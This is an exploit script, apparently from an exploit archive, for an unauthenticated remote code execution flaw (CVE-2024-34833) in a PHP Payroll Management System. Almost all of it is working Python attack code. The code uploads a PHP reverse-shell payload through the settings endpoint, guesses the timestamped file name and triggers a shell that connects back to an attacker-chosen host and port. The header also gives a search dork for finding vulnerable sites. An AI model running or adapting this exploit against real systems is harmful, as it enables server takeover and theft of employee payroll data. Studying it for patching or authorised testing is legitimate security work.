# Exploit Title: Payroll Management System v1.0 RCE (Unauthenticated)
# Google Dork: intitle:"Employee's Payroll Management System"
# Date: 16/06/2024
# Exploit Author: ShellUnease
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14475/payroll-management-system-using-phpmysql-source-code.html
# Version: v1.0
# Tested on: Kali Linux Apache Web Server
# CVE : CVE-2024-34833

#!/usr/bin/python
import argparse
import time
import requests


class Exploit:
    def __init__(self, rhost, rport, lhost, lport, https):
        self.rhost = rhost
        self.rport = rport
        self.lhost = lhost
        self.lport = lport
        self.targetUrl = f'https://{rhost}:{rport}' if https else f'http://{rhost}:{rport}'
        self.banner()

    def banner(self):
        print("""
  _____                      _ _                               
 |  __ \                    | | |                              
 | |__) |_ _ _   _ _ __ ___ | | |                              
 |  ___/ _` | | | | '__/ _ \| | |                              
 | |  | (_| | |_| | | | (_) | | |                              
 |_|  _\__,_|\__, |_|  \___/|_|_|                          _   
 |  \/  |     __/ |                                       | |  
 | \  / | __ |___/_   __ _  __ _  ___ _ __ ___   ___ _ __ | |_ 
 | |\/| |/ _` | '_ \ / _` |/ _` |/ _ \ '_ ` _ \ / _ \ '_ \| __|
 | |  | | (_| | | | | (_| | (_| |  __/ | | | | |  __/ | | | |_ 
 |_|__|_|\__,_|_| |_|\__,_|\__, |\___|_|_|_| |_|\___|_|_|_|\__|
  / ____|         | |       __/ |     |  __ \ / ____|  ____|   
 | (___  _   _ ___| |_ ___ |___/___   | |__) | |    | |__      
  \___ \| | | / __| __/ _ \ '_ ` _ \  |  _  /| |    |  __|     
  ____) | |_| \__ \ ||  __/ | | | | | | | \ \| |____| |____    
 |_____/ \__, |___/\__\___|_| |_| |_| |_|  \_\\_____|______|   
          __/ |                                                
         |___/                                                  
        """)

    def get_data(self):
        return {
            'name': 'John Doe',
            'email': 'jdoe@gmail.com',
            'contact': 'John Doe',
            'about': 'John Doe',
        }

    def get_payload(self):
        return (f'<?php $sock=fsockopen("{self.lhost}",{self.lport});$proc=proc_open("sh", array(0=>$sock, 1=>$sock, '
                f'2=>$sock),$pipes); ?>')

    def upload_rev_shell(self):
        url = f'{self.targetUrl}/ajax.php?action=save_settings'
        print(f'Uploading a reverse shell via {url}')
        requests.post(url, files={'img': ('a.php', self.get_payload())},
                      data=self.get_data())
        epoch = time.time()
        timestamp = epoch - (epoch % 60)
        timestamp_minus_one_min = timestamp - 60
        timestamp_plus_one_min = timestamp + 60
        return [f'{int(timestamp)}_a.php', f'{int(timestamp_minus_one_min)}_a.php',
                f'{int(timestamp_plus_one_min)}_a.php']

    def open_rev_shell(self, candidates):
        print('Opening a reverse shell')
        for candidate in candidates:
            url = f'{self.targetUrl}/assets/img/{candidate}'
            try:
                requests.get(url).raise_for_status()
                print(f'Got a success response for {url}, you should have a revshell')
                return
            except Exception as e:
                print(f'Failed to open revshell using {url}')
        print('Guessing filename failed')

    def exploit(self):
        candidates = self.upload_rev_shell()
        self.open_rev_shell(candidates)


def get_args():
    parser = argparse.ArgumentParser(
        description='Payroll Management System - Remote Code Execution (RCE) (Unauthenticated)')
    parser.add_argument('-rhost', '--remote-host', dest="rhost", required=True, action='store', help='Remote host')
    parser.add_argument('-rport', '--remote-port', dest="rport", required=False, action='store', help='Remote port',
                        default=80)
    parser.add_argument('-lhost', '--local-host', dest="lhost", required=True, action='store', help='Local host')
    parser.add_argument('-lport', '--local-port', dest="lport", required=True, action='store', help='Local port')
    parser.add_argument('-https', '--https', dest="https", required=False, action='store_true', help='Use https')
    args = parser.parse_args()
    return args


if __name__ == '__main__':
    args = get_args()
    exp = Exploit(args.rhost, args.rport, args.lhost, args.lport, args.https)
    exp.exploit()